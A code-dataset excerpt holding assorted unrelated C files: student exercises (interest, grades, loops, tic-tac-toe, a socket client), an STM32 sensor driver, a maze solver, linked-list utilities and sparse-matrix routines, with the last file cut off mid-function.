language
large_stringclasses 1
value | text
stringlengths 9
2.95M
|
---|---|
C
|
/* 19. Program to calculate the simple interest.
a) If balance is greater than 99999, interest is 7 %.
b) If balance is greater than or equal to 50000 and less than 100000 interest is 5 %.
c) If balance is less than 50000, interest is 3%. */
#include<stdio.h>
#include<conio.h>
void main()
{
int principal,rate,x,time;
float si;
printf("Enter the principle : ");
scanf("%d",&principal);
printf("Enter the time : ");
scanf("%d",&time);
if(principal>99999)
rate=7;
else if(principal>=50000&&principal<10000)
rate=5;
else
rate=3;
x=principal*rate*time;
si=x/100;
printf("The simple interest is %.2f",si);
}
|
C
|
#ifndef __COMPANY_H__
#define __COMPANY_H__
typedef struct company_s* company_t;
// renvoie un pointeur vers une entreprise dont les champs ont ete initialises
// i : indice de l'entreprise, capital : capital de l'entreprise, name : nom de l'entreprise
company_t init_company (int i, int capital, char* name);
void free_company (company_t c);
#endif
|
C
|
/*
** main.c for dante in /home/gastal_r/rendu/dante/sources/profondeur
**
** Made by gastal_r
** Login <[email protected]>
**
** Started on Sat Apr 30 11:18:18 2016 gastal_r
** Last update Thu Jun 23 10:15:37 2016
*/
#include "largeur.h"
void free_fonc(char **maze, t_path *path)
{
int i;
t_path *curr;
i = 0;
while (maze[i] != NULL)
{
free(maze[i]);
i++;
}
free(maze);
if (path == NULL)
return;
while (path->prev != NULL)
path = path->prev;
while ((curr = path) != NULL)
{
path = path->next;
free (curr);
}
}
int main(int ac, char **av)
{
char *line;
char **maze;
t_path *path;
int fd;
struct stat fileStat;
if (ac != 2)
{
printf("Utilisation : ./solver maze.txt,\n");
return (0);
}
if ((fd = open(av[1], O_RDONLY)) < -1)
return (0);
if (fstat(fd, &fileStat) < 0)
return (0);
path = NULL;
line = NULL;
line = malloc(sizeof(char) * (fileStat.st_size + 1));
read(fd, line, fileStat.st_size);
line[fileStat.st_size] = '\0';
maze = my_str_to_wordtab(line);
find_path(maze, &path);
free_fonc(maze, path);
free(line);
return 0;
}
|
C
|
/**
* \file src/GCSR/getset.c
* \ingroup MATTYPE_GCSR
* \brief GCSR get/set value routines.
*/
#include <assert.h>
#include <stdio.h>
#include <oski/config.h>
#include <oski/common.h>
#include <oski/matrix.h>
#include <oski/getset.h>
#include <oski/GCSR/module.h>
int
oski_GetMatReprEntry (const void *mat, const oski_matcommon_t * props,
oski_index_t row, oski_index_t col,
oski_value_t * p_value)
{
const oski_matGCSR_t *A = (const oski_matGCSR_t *) mat;
oski_value_t aij;
oski_index_t i0, j0;
oski_index_t i_loc;
assert (A != NULL);
if (p_value == NULL)
{
oski_HandleError (ERR_BAD_ARG,
"Nowhere to put return value", __FILE__, __LINE__,
"Parameter #%d to parameter %s() is NULL",
5, MACRO_TO_STRING (oski_GetMatReprEntry));
return ERR_BAD_ARG;
}
/* Quick return cases */
VAL_SET_ZERO (aij);
if (props->pattern.is_tri_upper && col < row)
{
VAL_ASSIGN (*p_value, aij);
return 0;
}
if (props->pattern.is_tri_lower && col > row)
{
VAL_ASSIGN (*p_value, aij);
return 0;
}
/* Otherwise, need to scan to compute. */
i0 = row - 1; /* 0-based */
j0 = col - 1; /* 0-based */
i_loc = oski_FindRowGCSR (A, i0);
if (i_loc >= 0)
{ /* found */
oski_index_t k;
for (k = A->ptr[i_loc]; k < A->ptr[i_loc + 1]; k++)
{
oski_index_t j = A->cind[k]; /* 1-based */
if (j == j0)
VAL_INC (aij, A->val[k]);
}
}
VAL_ASSIGN (*p_value, aij);
return 0;
}
/**
* \brief Returns 1 on success, or 0 on error.
*
* Input indices (i0, j0) are 0-based.
*/
static int
SetEntry (oski_matGCSR_t * A, oski_index_t i0, oski_index_t j0,
oski_value_t new_val)
{
oski_index_t i_loc = oski_FindRowGCSR (A, i0);
int modified = 0;
if (i_loc >= 0)
{
oski_index_t k;
for (k = A->ptr[i_loc]; k < A->ptr[i_loc + 1]; k++)
{
oski_index_t j = A->cind[k]; /* 1-based */
if (j == j0)
{
if (!modified)
{ /* first occurrence */
VAL_ASSIGN (A->val[k], new_val);
modified = 1;
}
else
{ /* modified == 1 */
VAL_SET_ZERO (A->val[k]);
}
}
}
}
return modified;
}
int
oski_SetMatReprEntry (void *mat, const oski_matcommon_t * props,
oski_index_t row, oski_index_t col,
oski_value_t new_val)
{
oski_matGCSR_t *A = (oski_matGCSR_t *) mat;
oski_index_t i0, j0;
int symm_pattern;
int symm_pattern_half;
int symm_pattern_full;
int transposed;
assert (A != NULL);
/* Quick return cases */
if (props->pattern.is_tri_upper && col < row)
{
if (IS_VAL_ZERO (new_val))
return 0;
#if IS_VAL_COMPLEX
OSKI_ERR_MOD_TRI_COMPLEX (oski_SetMatReprEntry, 1, row, col, new_val);
#else
OSKI_ERR_MOD_TRI_REAL (oski_SetMatReprEntry, 1, row, col, new_val);
#endif
return ERR_ZERO_ENTRY;
}
if (props->pattern.is_tri_lower && col > row)
{
if (IS_VAL_ZERO (new_val))
return 0;
#if IS_VAL_COMPLEX
OSKI_ERR_MOD_TRI_COMPLEX (oski_SetMatReprEntry, 0, row, col, new_val);
#else
OSKI_ERR_MOD_TRI_REAL (oski_SetMatReprEntry, 0, row, col, new_val);
#endif
return ERR_ZERO_ENTRY;
}
/* Set predicates */
symm_pattern = props->pattern.is_symm || props->pattern.is_herm;
symm_pattern_full = symm_pattern;
symm_pattern_half = 0;
transposed = 0;
if (transposed)
i0 = col, j0 = row;
else
i0 = row, j0 = col;
if (props->pattern.is_herm && transposed && (i0 != j0))
{
VAL_CONJ (new_val);
}
if (SetEntry (A, i0 - 1, j0 - 1, new_val) == 0)
{
#if IS_VAL_COMPLEX
OSKI_ERR_ZERO_ENTRY_COMPLEX (oski_SetMatReprEntry, i0, j0, new_val);
#else
OSKI_ERR_ZERO_ENTRY_REAL (oski_SetMatReprEntry, i0, j0, new_val);
#endif
return ERR_ZERO_ENTRY;
}
if (symm_pattern_full && (i0 != j0))
{
if (props->pattern.is_herm)
VAL_CONJ (new_val);
SetEntry (A, j0 - 1, i0 - 1, new_val);
}
return 0;
}
/* eof */
|
C
|
/*
******************************************************************************
* File Name : sht21.c
* Description : sht21 driver
******************************************************************************
*
* COPYRIGHT(c) 2019 gaschmidt1
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
*
******************************************************************************
The sht21 communicates with the host controller over a digital I2C interface.
The 7-bit base slave address is 0x40
Adaptado de https://github.com/s54mtb/MS5637_HDC1080/blob/master/inc/hdc1080.h para sensor SHT21
*/
#include "stm32f0xx_hal.h"
#include "sht21.h"
#include <string.h>
/*
* Configure a I2C Address SHT21_ADDR
* Set a time to wait conversion complete SHT21_TIME_HM
*/
#define SHT21_ADDR (0x40)
#define SHT21_TIME_HM (500U)
#define SHT21_ADDR_R ((SHT21_ADDR << 1) + 1)
#define SHT21_ADDR_W ((SHT21_ADDR << 1) + 0)
/*
//HAL_I2C_IsDeviceReady()
*/
const uint16_t POLYNOMIAL = 0x131;
/*
* sht21_CheckCrc() - Calculate a CRC.
* @data: Pointer to data for Check.
* @nbrOfBytes: Number of bytes to check.
* @checksum: Value to compare.
* Returns HAL status or HAL_ERROR for invalid parameters.
*/
HAL_StatusTypeDef sht21_CheckCrc(uint8_t *data, uint8_t nbrOfBytes,
uint8_t checksum) {
uint8_t crc = 0;
uint8_t byteCtr;
uint8_t bit;
/* Calculates 8-Bit checksum with given polynomial */
for (byteCtr = 0; byteCtr < nbrOfBytes; ++byteCtr) {
crc ^= (data[byteCtr]);
for (bit = 8; bit > 0; --bit) {
if (crc & 0x80) {
crc = (crc << 1) ^ POLYNOMIAL;
} else {
crc = (crc << 1);
}
}
}
if (crc != checksum) {
return (HAL_ERROR);
} else {
/* Success */
return (HAL_OK);
}
}
/*
* sht21_read_reg() - Read User register
* @hi2c: handle to I2C interface
* @delay: Delay before read
* @reg: Register address
* @val: 16-bit register value from the sht21
* Returns HAL status or HAL_ERROR for invalid parameters.
* Use delay 100ms to SHT21_TEMPERATURE_HM or SHT21_HUMIDITY_HM
*/
HAL_StatusTypeDef sht21_read_reg(I2C_HandleTypeDef *hi2c, uint16_t delay,
uint8_t reg, uint16_t *val, uint8_t len) {
uint8_t buf[4];
uint8_t crc = 0;
HAL_StatusTypeDef error;
//HAL_I2C_IsDeviceReady(hi2c, DevAddress, Trials, Timeout);
//HAL_I2C_GetState(hi2c);
//HAL_I2C_ListenCpltCallback(;)
/* Check arguments */
if ((reg != SHT21_TEMPERATURE_HM) & (reg != SHT21_HUMIDITY_HM)
& (reg != SHT21_USER_REG_R)) {
return (HAL_ERROR);
}
/* Read register */
/* Send the read followed by address */
buf[0] = reg;
error = HAL_I2C_Master_Transmit(hi2c, SHT21_ADDR_W, buf, 1, 1000);
if (error != HAL_OK) {
return (HAL_ERROR);
}
/* Wait convertion */
HAL_Delay(delay);
/* Receive a byte result */
error = HAL_I2C_Master_Receive(hi2c, SHT21_ADDR_R, buf, len, 1000);
if (error != HAL_OK) {
return (HAL_ERROR);
}
/* Receive a CRC */
error = HAL_I2C_Master_Receive(hi2c, SHT21_ADDR_R, &crc, 1, 1000);
if (error != HAL_OK) {
return (HAL_ERROR);
}
/* Compute a CRC */
error = sht21_CheckCrc(buf, 1, crc);
// if(error != HAL_OK)
// {
// return(HAL_ERROR);
// }
/* Result */
if (len == 1) {
*val = buf[0];
} else if (len == 2) {
*val = buf[0] * 256 + buf[1];
} else {
*val = 0;
return (HAL_ERROR);
}
/* Success */
return (HAL_OK);
}
/*
* sht21__write_reg() - Write register
* @hi2c: handle to I2C interface
* @reg: Register address
* @val: 8-bit register pointer from the data
* Returns HAL status or HAL_ERROR for invalid arguments.
*/
HAL_StatusTypeDef sht21_write_reg(I2C_HandleTypeDef *hi2c, uint8_t reg,
uint16_t *val, uint8_t len) {
uint8_t i;
uint8_t buf[5];
HAL_StatusTypeDef error;
/* Check arguments */
if ((reg != SHT21_USER_REG_W) & (reg != SHT21_SOFT_RESET)
& (reg != SHT21_TEMPERATURE_HM) & (reg != SHT21_HUMIDITY_HM)) {
return (HAL_ERROR);
}
/* Process buffer tx */
buf[0] = reg;
for (i = 1; i <= len; i++) {
buf[i] = *val;
val++;
}
/* Send the data */
error = HAL_I2C_Master_Transmit(hi2c, SHT21_ADDR_W, buf, (len + 1), 100);
if (error != HAL_OK) {
return (HAL_ERROR);
}
return (HAL_OK); /* Success */
}
/*
* sht21_measure() - measure humididty and temperature:
1. Configure the acquisition parameters in config register.
2. Trigger the measurements by writing I2C read reg. address with adr = SHT21_TEMPERATURE_HM.
3. Wait for the measurements to complete, based on the conversion time SHT21_TIME_HM.
4. Read the output data:
Read the temperature data from register address SHT21_TEMPERATURE_HM, followed by the humidity
data from register address SHT21_HUMIDITY_HM in a single transaction. A read operation will
return a NACK if the contents of the registers have not been updated.
* @hi2c: handle to I2C interface
* @res : measurement resolution:
* - SHT21_RES_12_14BIT or
* - SHT21_RES_8_12BIT or
* - SHT21_RES_10_13BIT or
* - SHT21_RES_11_11BIT
* @heater : heater enable (0 = disabled or 1 = enabled)
* @bat_stat : supply voltage
* - 0 when Ucc > 2,8V
* - 1 when Ucc < 2,8V
* @temperature : floating point temperature result, unit is �C
* @humidity : floating point humidity result, unit is RH%
* Returns HAL status.
*/
HAL_StatusTypeDef sht21_measure(I2C_HandleTypeDef *hi2c, uint8_t res,
uint8_t heater, uint8_t *bat_stat, float *temperature, float *humidity) {
HAL_StatusTypeDef error;
uint16_t r;
float tmp;
// read config
error = sht21_read_reg(hi2c, 5, SHT21_USER_REG_R, &r, 1);
if (error != HAL_OK) {
return (HAL_ERROR);
}
// HAL_Delay(5);
*bat_stat = (r & SHT21_EOB_MASK) >> 2;
r = 0;
r |= (res & SHT21_RES_MASK);
r |= (heater & SHT21_HEATER_MASK);
// write config
error = sht21_write_reg(hi2c, SHT21_USER_REG_W, &r, 1);
if (error != HAL_OK) {
return (HAL_ERROR);
}
//HAL_Delay(5);
// read temperature
error = sht21_read_reg(hi2c, SHT21_TIME_HM, SHT21_TEMPERATURE_HM, &r, 2);
if (error != HAL_OK) {
return (HAL_ERROR);
}
// convert temperature
r &= ~0x0003;
tmp = (float) r;
tmp = -46.85f + 175.72f / 65535.0f * (float) tmp;
if (tmp > 100.0f) {
tmp = 100.0f;
}
if (tmp < -20.0f) {
tmp = -20.0f;
}
*temperature = tmp; // �C
//HAL_Delay(5);
// read humidity
error = sht21_read_reg(hi2c, SHT21_TIME_HM, SHT21_HUMIDITY_HM, &r, 2);
if (error != HAL_OK) {
return (HAL_ERROR);
}
// convert humidity
r &= ~0x0003;
tmp = (float) r;
tmp = -6.0f + 125.0f / 65535.0f * (float) tmp;
if (tmp > 100.0f) {
tmp = 100.0f;
}
if (tmp < 0.0f) {
tmp = 0.0f;
}
*humidity = tmp; // RH%
//HAL_Delay(5);
// reset sensor
r = 0;
error = sht21_write_reg(hi2c, SHT21_SOFT_RESET, &r, 1);
if (error != HAL_OK) {
return (HAL_ERROR);
}
//HAL_Delay(5);
return (HAL_OK);
}
|
C
|
#include<stdio.h>
void main()
{
int score;
printf("please enter score(score<=100):");
scanf("%d",&score);
if(score==100)
{
score=90;
}
score = score/10;
switch(score)
{
case 9:
printf("the grade is A\n");
break;
case 8:
printf("the grade is B\n");
break;
case 7:
printf("the grade is C\n");
break;
case 6:
printf("the grade is D\n");
break;
default:
printf("the grade is E\n");
}
}
|
C
|
#include <stdio.h>
void problem_1() {
printf("For problem 4.1(a), the loop is executed 10 times.\n");
printf("For problem 4.1(b), the loop is executed 9 times.\n");
printf("For problem 4.1(c), the loop is executed 0 times.\n");
}
void problem_2() {
//print the box using a while loop
//-------------------- 20 hyphens
//8 |
printf("The box below is generated with a while loop.\n");
int count = 0;
while (count < 10) {
if (count == 0 || count == 9) {
printf("--------------------\n");
}
else {
printf("| |\n");
}
count++;
}
}
void problem_3() {
//print the box using do while loop
printf("The box below is generated with a do-while loop.\n");
int count = 0;
do {
if (count == 0 || count == 9) {
printf("--------------------\n");
}
else {
printf("| |\n");
}
count++;
} while (count < 10);
}
void problem_4() {
//print the box using a for loop
printf("The box below is generated with a for loop.\n");
for (int i = 0; i < 10; i++) {
if (i == 0 || i == 9) {
printf("--------------------\n");
}
else {
printf("| |\n");
}
}
}
void problem_5() {
//use variables for - and |; ask use for values of
//height, width, characters to draw instead of hardcoded
//ask user to continue
char vertical, horizontal;
int height, width;
char cont;
do {
//get vertical symbol
printf("Enter a symbol for the vertical line, horizontal line,\nheight, and width separated by spaces: ");
scanf("%c %c %d %d", &vertical, &horizontal, &height, &width);
//how many rows will be printed
for (int i = 0; i < height; i++) {
//on the first and last row, print horizontal symbols
if (i == 0 || i == height-1) {
//print horizontal symbols "width" times
for (int j = 0; j < width; j++) {
printf("%c", horizontal);
}
printf("\n");
}
else {
//for rows not first and last, print the vertical symbol
//and spaces
printf("%c", vertical);
//how many spaces between edges
for (int k = 0; k < width-2; k++){
printf(" ");
}
printf("%c\n", vertical);
}
}
while (getchar() != '\n')
continue;
printf("\n\nContinue? Type 'y' for YES and 'n' for NO: ");
scanf("%c", &cont);
while (getchar() != '\n')
continue;
} while (cont == 'y');
}
int main (void) {
problem_1();
problem_2();
problem_3();
problem_4();
problem_5();
return 0;
}
|
C
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_lstdel.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: mmerabet <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/04/04 18:43:57 by mmerabet #+# #+# */
/* Updated: 2018/10/13 11:26:01 by jraymond ### ########.fr */
/* */
/* ************************************************************************** */
#include "ft_list.h"
#include "ft_mem.h"
void ft_lstdel(t_list **alst, t_delfunc del)
{
t_list *nxt;
if (!alst || !*alst)
return ;
while (*alst)
{
nxt = (*alst)->next;
ft_lstdelone(alst, del);
*alst = nxt;
}
}
void ft_lstdel_d(t_list **alst, t_delfunc_d del, void *data)
{
t_list *nxt;
if (!alst || !*alst)
return ;
while (*alst)
{
nxt = (*alst)->next;
ft_lstdelone_d(alst, del, data);
*alst = nxt;
}
}
void ft_lstdelone_d(t_list **alst, t_delfunc_d del, void *data)
{
if (alst && *alst)
{
if (del)
del((*alst)->content, (*alst)->content_size, data);
ft_memdel((void **)alst);
}
}
void ft_lstdelone(t_list **alst, t_delfunc del)
{
if (alst && *alst)
{
if (del)
del((*alst)->content, (*alst)->content_size);
ft_memdel((void **)alst);
}
}
|
C
|
/*
* FILE: part2.c
* THMMY, 8th semester, Microprocessors and peripherals : 2nd assignment
* Implementation for the Nucleo STM32 - F401RE board
* Authors:
* Moustaklis Apostolos, 9127, [email protected]
* Papadakis Charis , 9128, [email protected]
* Includes the main used in the src folder of the lab code examples / drivers
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <platform.h>
#include <gpio.h>
#include <leds.h>
#include <delay.h>
//Defines used for the cpu cycle calculation
#define ARM_CM_DEMCR (*(uint32_t *)0xE000EDFC)
#define ARM_CM_DWT_CTRL (*(uint32_t *)0xE0001000)
#define ARM_CM_DWT_CYCCNT (*(uint32_t *)0xE0001004)
// MODE 0 LED turns on and then we press the button
// MODE 1 LED turns off and then we press the button
# define MODE 0
// Do the experiment for LOOP times
# define LOOP 5
//Global variables
int uptime ;
static int buttonPressed = 0;
int randTime;
//Functions
void LED_response_counter(int mode);
void button_press_isr(int sources);
int main(void) {
// Initialise LEDs.
leds_init();
// Set up debug signals.
gpio_set_mode(P_DBG_ISR, Output);
gpio_set_mode(P_DBG_MAIN, Output);
// Set up on-board switch.
gpio_set_mode(P_SW, PullUp);
gpio_set_trigger(P_SW, Rising);
gpio_set_callback(P_SW, button_press_isr);
__disable_irq();
int mode = MODE ;
switch (MODE) {
case 0:
LED_response_counter(MODE);
break;
case 1:
LED_response_counter(MODE);
break;
default:
printf("Wrong mode please try again \n");
}
}
//Functions Implementation
//Switch pressed interrupt code
void button_press_isr(int sources) {
gpio_set(P_DBG_ISR, 1);
if ((sources << GET_PIN_INDEX(P_SW)) & (1 << GET_PIN_INDEX(P_SW))) {
buttonPressed = 1;
}
gpio_set(P_DBG_ISR, 0);
}
// LED human response counter
void LED_response_counter(int mode) {
if (ARM_CM_DWT_CTRL != 0) { // See if DWT is available ( CPI Counter Register )
ARM_CM_DEMCR |= 1 << 24; // Set bit 24
ARM_CM_DWT_CYCCNT = 0; // Cycle count Register
ARM_CM_DWT_CTRL |= 1 << 0; // Set bit 0
}
double avgTimeTakenInCycles;
double avgTimeTakenInSec;
//Variables for the time calculation
uint32_t start;
uint32_t stop;
uint32_t delta;
uint32_t overallTime;
for (int i = 0; i < LOOP; i++) {
// uptime = 0;
leds_set(mode, 0, 0);
//Random delay time
randTime = rand() % 80;
delay_ms(randTime * 50);
__enable_irq();
leds_set(!mode, 0, 0);
uptime = 1;
start = ARM_CM_DWT_CYCCNT;
gpio_toggle(P_DBG_MAIN);
while (1) {
//If there is no response continue
if (!buttonPressed) {
continue;
}
//When the buttonPressed gets updated from the interrupt function
//Calculate the time
else {
stop = ARM_CM_DWT_CYCCNT;
uptime = 0;
leds_set(mode, 0, 0);
__disable_irq();
}
delta = stop - start;
overallTime += delta;
break;
}
buttonPressed = 0;
}
avgTimeTakenInCycles = overallTime / LOOP;
//To find the time taken in seconds we divede the time taken in cpu cycls with the cpu frequency
//The cpu frequency is 16Mhz
avgTimeTakenInSec = avgTimeTakenInCycles / 16000000;
printf("The average response time was \n");
printf("In cpu cycles : %lf \n", avgTimeTakenInCycles);
printf("In seconds : %lf ", avgTimeTakenInSec);
}
|
C
|
#include "Funciones.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int getPrecio(char *mensaje, float *precio);
/** \brief Esta funcion recibe un mensaje y un array, y devuelve un 0 o 1 dependiendo si el ATOF pudo ahcer la conversion o no.
*
* \param mensaje char*
* \param precio float*
* \return int
*
*/
int getCodigo(char *mensaje, char *codigo);
/** \brief Esta funcion recibe un array de codigo (int) y devuelve una validacion (1 o 0)
*
* \param mensaje char*
* \param codigo char*
* \return int
*
*/
int getPrecio(char *mensaje, float *precio)
{
char ingreso[50];
float aux;
int retorno;
printf(mensaje);
scanf("%s", ingreso);
aux = atof(ingreso); //recibe un ingreso y lo convierte a doble. si no puede devuelve 0
if(aux>0)
{
*precio = aux;
retorno = 1;
}
else
{
retorno = 0;
}
return retorno;
}
int validacionDeArray(float *valorIngresado, char *mensaje)
{
int sePudo = 1;
char cadenaCargada [20];//puntero memoria --> char [];
int i;
printf(mensaje);
scanf("%s", cadenaCargada);
//int cantidadCaracteres = strlen(cadenaCargada); --> strlen me da el largo de la cadena.
for(i=0; i<strlen(cadenaCargada) ; i++)
{
if(cadenaCargada[i] < '0' || cadenaCargada[i] > '9')
{
sePudo = 0;
}
}
if(sePudo == 1)
{
*valorIngresado = atoi (cadenaCargada);
}
return sePudo;
}
int getCodigo(char *mensaje, char *codigo)
{
char ingreso[50];
int retorno;
printf(mensaje);
scanf("%s", ingreso);
if(strlen(ingreso)<=6)
{
strcpy(codigo, ingreso);
retorno = 1;
}
else
{
retorno = 0;
}
return retorno;
}
|
C
|
#include <stdio.h>
int i=0;
int printaj(int i)
{
printf("%d\n",i);
i+=3;
}
int main()
{
while (i<5)
{
printaj(i);
i+=10;
}
return 0;
}
|
C
|
#include <stdio.h>
#include <malloc.h>
#include <string.h>
#include "prototypes.h"
#define NUM_EUROPE_COUNTRIES 20
char euro_zone[NUM_EUROPE_COUNTRIES][15] = {//list of eurozone countries
"Austria\n",
"Belgium\n",
"Cyprus\n",
"Estonia\n",
"Finland\n",
"France\n",
"Germany\n",
"Greece\n",
"Ireland\n",
"Italy\n",
"Latvia\n",
"Lithuania\n",
"Luxembourg\n",
"Malta\n",
"Netherlands\n",
"Portugal\n",
"Slovakia\n",
"Slovenia\n",
"Croatia\n"
};
int CountAgencies(FILE* fptr) {
int num_agencies =0;
char str[LEN];
char* str_p;
char buffer[LEN] = "List agencies:";
int i = 0;
int q = 1;
int c = 0;
while (!feof(fptr)) {
fgets(str, LEN, fptr);
fseek(fptr, -1, SEEK_CUR);
if (strncmp(str, buffer, strlen(buffer)) == 0) {
str_p = str;
for (i = 0; i < strlen(str) - 1; i++) {
c = str[i];
if (c >= 49 && c < 58) {
num_agencies = atoi(str_p);
break;
}
else str_p++;
}
}
if (num_agencies == 0) {
fseek(fptr, 1, SEEK_CUR);
}
if (num_agencies !=0) {
break;
}
}
fseek(fptr, 0, SEEK_SET);
return num_agencies;
}
int* CountTServices(FILE* fptr) {
int num_agencies;
int* num_services;
char str[LEN];
char* str_p;
char buffer[LEN] = "Directions:";
char* buffer_p;
int i, j;
int len;
int c = 0;
i = j = 0;
buffer_p = buffer;
num_agencies = CountAgencies(fptr);
num_services = (int*)malloc(sizeof(int) * num_agencies);
for (i = 0; i < num_agencies; i++) {
num_services[i] = 0;
}
while (j < num_agencies) {
fgets(str, LEN, fptr);
fseek(fptr, -1, SEEK_CUR);
len = strlen(buffer_p);
if (strncmp(str, buffer, len) == 0) {
str_p = str;
for (i = 0; i < strlen(str) - 1; i++) {
c = str[i];
if (c >= 49 && c < 58) {
num_services[j] = atoi(str_p);
j++;
break;
}
else str_p++;
}
}
if (num_services[j] == 0) {
fseek(fptr, 1, SEEK_CUR);
}
}
fseek(fptr, 0, SEEK_SET);
return num_services;
}
void allocate_TAgency(TAgency** pointer) {
(*pointer) = (TAgency*)malloc(sizeof(TAgency));//creating a list of travel agencies
(*pointer)->name = (char*)malloc(sizeof(char) * LEN);
}
void allocate_TServices(TAgency* ptr, int count_services) {
ptr->num_services = count_services;
ptr->services = (TService*)malloc(sizeof(TService) * count_services);//creating a service structure for each facility
for (int i = 0; i < ptr->num_services; i++) {
ptr->services[i].country = (char*)malloc(sizeof(char) * LEN);
ptr->services[i].travel_conditions = (char*)malloc(sizeof(char) * LEN);
ptr->services[i].excursion_services = (char*)malloc(sizeof(char) * LEN);
ptr->services[i].host_service = (char*)malloc(sizeof(char) * LEN);
ptr->services[i].ticket_price = (char*)malloc(sizeof(char) * LEN);
}
}
void search_string(FILE* fptr) {//look for the first occurrence of the string
int i = 0;
char c[LEN];
int len;
fgets(c, LEN, fptr);
if (c[0] == 10) {
do {
fgets(c, LEN, fptr);
} while (c[0] == 10);
len = strlen(c);
fseek(fptr, -len-1, SEEK_CUR);
}
else { len = strlen(c); fseek(fptr, -len - 1, SEEK_CUR); }
}
int file_reader(FILE * fptr, TAgency *** list) {
int num_agencies = CountAgencies(fptr);
int* num_services = CountTServices(fptr);
*(list) = (TAgency**)malloc(sizeof(TAgency*)*num_agencies); //create a dynamic array of objects
int i = 0;
int c = 0;
int j = 0;
const char buffer1[LEN] = "List agencies:";
const char buffer2[LEN] = "Directions:";
int num;
for (i = 0; i < num_agencies; i++) {
allocate_TAgency(&(*list)[i]);//Give the same pointer to create the structure
}
for (i = 0; i < num_agencies; i++) {
allocate_TServices((*list)[i], num_services[i]);//Give the same pointer to create the structure
}
for (i = 0; i < num_agencies; i++) {
search_string(fptr);
fgets((*list)[i]->name, LEN, fptr);
if ((strncmp((*list)[i]->name, buffer1, strlen(buffer1)) == 0) || (strncmp((*list)[i]->name, buffer2, strlen(buffer2))) == 0) {
do {
c = fgetc(fptr);
} while (c == 10);
fseek(fptr, -1, SEEK_CUR);
fgets((*list)[i]->name, LEN, fptr);
}
for (j = 0; j < (*list)[i]->num_services; j++) {
search_string(fptr);
if (j==0) {
do {
c = fgetc(fptr);
} while (c != 10);
}
fgets((*list)[i]->services[j].country, LEN, fptr);
fgets((*list)[i]->services[j].travel_conditions, LEN, fptr);
fgets((*list)[i]->services[j].excursion_services, LEN, fptr);
fgets((*list)[i]->services[j].host_service, LEN, fptr);
fgets((*list)[i]->services[j].ticket_price, LEN, fptr);
}
}
fseek(fptr, 0, SEEK_SET);
free(num_services);
return num_agencies;
}
void output_all_data(FILE* fptr, TAgency** list, int num_agencies) {
int i = 0;
int j = 0;
for (i = 0; i < num_agencies; i++) {
printf("%s", list[i]->name);
for (j = 0; j < list[i]->num_services; j++) {
search_string(fptr);
printf("%s",list[i]->services[j].country);
printf("%s", list[i]->services[j].travel_conditions);
printf("%s", list[i]->services[j].excursion_services);
printf("%s", list[i]->services[j].host_service);
printf("%s", list[i]->services[j].ticket_price);
printf("\n");
}
}
}
void output_data_EZONES(FILE* fptr, TAgency** list, int num_agencies) {
int i = 0;
int j = 0;
int k = 0;
for (i = 0; i < num_agencies; i++) {//going over the TAgency
printf("%s", list[i]->name);
for (j = 0; j < list[i]->num_services;j++) {//going over the TServices
for (k = 0; k < NUM_EUROPE_COUNTRIES; k++) {//scanning base of data
if (strcmp(list[i]->services[j].country, euro_zone[k]) == 0) {
printf("%s", list[i]->services[j].country);
printf("%s", list[i]->services[j].travel_conditions);
printf("%s", list[i]->services[j].excursion_services);
printf("%s", list[i]->services[j].host_service);
printf("%s", list[i]->services[j].ticket_price);
printf("\n");
}
if (k == NUM_EUROPE_COUNTRIES && list[i]->num_services == 1) {
printf("(No suitable destination found!)");
}
}
}
}
}
void free_memory(TAgency** pointer, int num_agencies){
int i, j;
for ( i = 0; i < num_agencies; i++) {//Freeing up memory from dynamic fields
for (j = 0; j < pointer[i]->num_services; j++) {
free(pointer[i]->services[j].country);
free(pointer[i]->services[j].travel_conditions);
free(pointer[i]->services[j].excursion_services);
free(pointer[i]->services[j].host_service);
free(pointer[i]->services[j].ticket_price);
}
}
for (i = 0; i < num_agencies; i++) {
free(pointer[i]->name);
free(pointer[i]->services);//massive TService
free(pointer[i]);//object
}
free(pointer);//freeing up memory massive pointers
}
|
C
|
/*
* ttt2 - Command line Tic Tac Toe Squared game
* Created on 4/26/2018 by Terry Hearst
*/
#include <stdio.h>
#include <stdbool.h>
#include "board.h"
/* ----- HELPER FUNCTIONS ----- */
void printInfo()
{
printf("Welcome to ttt2 - a Tic Tac Toe Squared game for the command "
"line!\nWritten by Terry Hearst\n\nFor a tutorial on how to play "
"the game, please consult the README file.\n");
}
/*
Welcome to ttt2 - a Tic Tac Toe Squared game for the command line!
Written by Terry Hearst
For a tutorial on how to play the game, please consult the README file.
*/
/* ----- MAIN ----- */
int main(int argc, char *argv[])
{
printInfo();
initBoard();
bool running = true;
while (running)
{
printBoard();
doTurn();
int wins1 = checkWins(1);
int wins2 = checkWins(2);
if ((wins1 > 0) || (wins2 > 0))
{
printBoard();
running = false;
if (wins1 > wins2)
printf("Player 1 is the winner!\n");
else if (wins2 > wins1)
printf("Player 2 is the winner!\n");
else
printf("The game ended in a draw!\n");
}
}
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <ctype.h>
#include <unistd.h>
#define DIMBUFF 512
#define SERVER_PORT 1313
int main(int argc, char *argv[])
{
struct sockaddr_in servizio;
int nread, socketfd;
char str[DIMBUFF], occorrenze[DIMBUFF];
char carattere[strlen(argv[2])];
strcpy(carattere, argv[2]);
FILE *fd;
// apro file
fd = fopen(argv[1], "r");
// leggo il file
fscanf(fd, "%s", str);
// chiudo il file
fclose(fd);
printf("il contenuto del file è: %s\n\n\n", str);
printf("il carattere da ricercare è: %s\n\n\n", carattere);
memset((char *)&servizio, 0, sizeof(servizio));
servizio.sin_family = AF_INET;
servizio.sin_addr.s_addr = htonl(INADDR_ANY);
servizio.sin_port = htons(SERVER_PORT);
socketfd = socket(AF_INET, SOCK_STREAM, 0);
connect(socketfd, (struct sockaddr *)&servizio, sizeof(servizio));
// scrittura del carattere all'interno della socket
write(socketfd, str, strlen(str));
read(socketfd, &nread, sizeof(int));
